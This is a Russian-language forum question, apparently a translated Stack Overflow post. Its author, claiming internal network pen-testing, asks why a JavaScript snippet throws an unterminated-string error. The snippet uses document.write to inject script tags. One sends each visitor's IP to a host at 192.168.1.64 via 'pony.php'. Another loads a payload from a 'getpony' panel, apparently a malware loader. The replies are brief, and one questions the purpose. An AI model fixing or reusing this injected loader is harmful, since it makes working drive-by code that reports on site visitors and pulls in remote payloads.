Спасибо, что нашли время, чтобы прочитать это и помочь мне.Ошибка форматирования в формате Javascript?
Я пытаюсь выполнить внутреннее тестирование локальной сети и действительно не в javascript, что объясняет, почему мой код не работает.
Кто-нибудь знает, что не так? Я думаю, что мое форматирование где-то.
function pentest()
{
x = document.getElementById("pentestpayload");
if (x == null)
{
document.write (" <script>function getip(json) {
document.write('<script type=\\\"application/javascript\\\"
src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();
поджигатель дает следующее сообщение об ошибке в консоли JavaScript:
SyntaxError: unterminated string literal
document.write (" <script>function getip(json) { document.write('<script typ
test.js (line 7, col 17)`
Используйте firebug, указав точное местонахождение ошибки – machineaddict
... почему вы это делаете? Я гарантирую, что есть лучший способ. – FakeRainBrigand
Я использовал firebug. Это дало ошибку, вставленную выше. Благодарю. –